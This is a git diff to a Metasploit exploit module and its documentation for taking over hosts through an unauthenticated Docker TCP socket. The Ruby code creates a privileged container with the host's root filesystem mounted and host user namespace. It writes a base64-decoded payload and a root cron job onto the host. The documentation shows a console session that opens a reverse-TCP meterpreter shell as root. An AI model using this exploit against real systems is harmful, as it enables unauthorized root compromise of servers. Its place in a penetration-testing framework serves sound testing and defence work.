diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md index 4c32e54a03..6e59fc82aa 100644 --- a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md +++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md @@ -67,6 +67,8 @@ OK [Disable][5] or [protect][6] the Docker tcp socket. +[User namespaces][7] did **not** protect against this. + # Exploitation This module is designed for the attacker to leverage, creation of a Docker container with out authentication through the Docker tcp socket @@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container. msf > use exploit/linux/http/docker_daemon_tcp msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23 RHOST => 192.168.66.23 -msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp -PAYLOAD => python/meterpreter/reverse_tcp +msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10 LHOST => 192.168.66.10 msf exploit(docker_daemon_tcp) > set VERBOSE true @@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run [*] Waiting for the cron job to run, can take up to 60 seconds [*] Waiting until the docker container stopped [*] The docker container has been stopped, now trying to remove it -[*] Sending stage (40411 bytes) to 192.168.66.23 +[*] Sending stage (2878936 bytes) to 192.168.66.23 [*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200 [+] Deleted /etc/cron.d/lVoepNpy [+] Deleted /tmp/poasDIuZ meterpreter > sysinfo -Computer : debian -OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) -Architecture : x64 -System Language : en_US -Meterpreter : python/linux +Computer : rancher +OS : Debian 9.1 (Linux 4.9.0-3-amd64) +Architecture : x64 +Meterpreter : x64/linux meterpreter > ``` @@ -129,3 +130,4 @@ meterpreter > [4]:https://docs.docker.com/engine/admin/systemd/ [5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options [6]:https://docs.docker.com/engine/security/https/ +[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb index c733b2440c..c77a5e8837 100644 --- a/modules/exploits/linux/http/docker_daemon_tcp.rb +++ b/modules/exploits/linux/http/docker_daemon_tcp.rb @@ -33,9 +33,13 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Jul 25, 2017', 'Targets' => [ + [ 'Linux x64', { + 'Arch' => ARCH_X64, + 'Platform' => 'linux' + }], [ 'Python', { - 'Platform' => 'python', 'Arch' => ARCH_PYTHON, + 'Platform' => 'python', 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse noconn none tunnel' @@ -43,13 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote } }] ], - 'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' }, + 'Payload' => { 'Space' => 65000, 'DisableNops' => true }, + 'DefaultOptions' => { 'WfsDelay' => 180 }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2375), - OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']) ] ) @@ -57,22 +62,24 @@ class MetasploitModule < Msf::Exploit::Remote def check_image(image_id) vprint_status("Check if images exist on the target host") - res = send_request_raw( + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri('images', 'json') + 'uri' => normalize_uri('images', 'json'), + 'ctype' => 'application/json' ) - return unless res and res.code == 200 and res.body.include? image_id + return unless res && res.code == 200 && res.body.include?(image_id) res end def pull_image(image_id) print_status("Trying to pulling image from docker registry, this may take a while") - res = send_request_raw( + res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri('images', 'create?fromImage=' + image_id) + 'uri' => normalize_uri('images', 'create?fromImage=' + image_id), + 'ctype' => 'application/json' ) - return unless res.code == 200 + return unless res && res.code == 200 res end @@ -88,12 +95,17 @@ class MetasploitModule < Msf::Exploit::Remote echo_cron_path = mnt_path + cron_path echo_payload_path = mnt_path + payload_path - cron_command = "python #{payload_path}" - payload_data = payload.raw + case target + when targets[0] # linux + command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& " + cron_command = payload_path + when targets[1] # python + command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& " + cron_command = "python #{payload_path}" + end - command = "echo \"#{payload_data}\" >> #{echo_payload_path} && " - command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && " - command << "echo \"\" >> #{echo_cron_path} && " + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " + command << "echo \"\" >> #{echo_cron_path} \&\& " command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" command @@ -108,25 +120,29 @@ class MetasploitModule < Msf::Exploit::Remote 'HostConfig' => { 'Binds' => [ '/:' + mnt_path - ] + ], + 'Privileged' => true, + 'UsernsMode' => 'host' } } end def del_container(container_id) - send_request_raw( + send_request_cgi( { 'method' => 'DELETE', - 'uri' => normalize_uri('containers', container_id) + 'uri' => normalize_uri('containers', container_id), + 'ctype' => 'application/json' }, 1 # timeout ) end def check - res = send_request_raw( + res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('containers', 'json'), + 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) @@ -135,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if res and res.code == 200 and res.headers['Server'].include? 'Docker' + if res && res.code == 200 && res.headers['Server'].include?('Docker') return Exploit::CheckCode::Vulnerable end @@ -161,10 +177,10 @@ class MetasploitModule < Msf::Exploit::Remote container_id = make_container_id # create container - res_create = send_request_raw( + res_create = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('containers', 'create?name=' + container_id), - 'headers' => { 'Content-Type' => 'application/json' }, + 'ctype' => 'application/json', 'data' => make_container(mnt_path, cron_path, payload_path).to_json ) fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201 @@ -173,25 +189,27 @@ class MetasploitModule < Msf::Exploit::Remote register_files_for_cleanup(cron_path, payload_path) # start container - send_request_raw( + send_request_cgi( { 'method' => 'POST', - 'uri' => normalize_uri('containers', container_id, 'start') + 'uri' => normalize_uri('containers', container_id, 'start'), + 'ctype' => 'application/json' }, 1 # timeout ) # wait until container stopped vprint_status("Waiting until the docker container stopped") - res_wait = send_request_raw( + res_wait = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('containers', container_id, 'wait'), + 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) # delete container deleted_container = false - if res_wait.code == 200 + if res_wait && res_wait.code == 200 vprint_status("The docker container has been stopped, now trying to remove it") del_container(container_id) deleted_container = true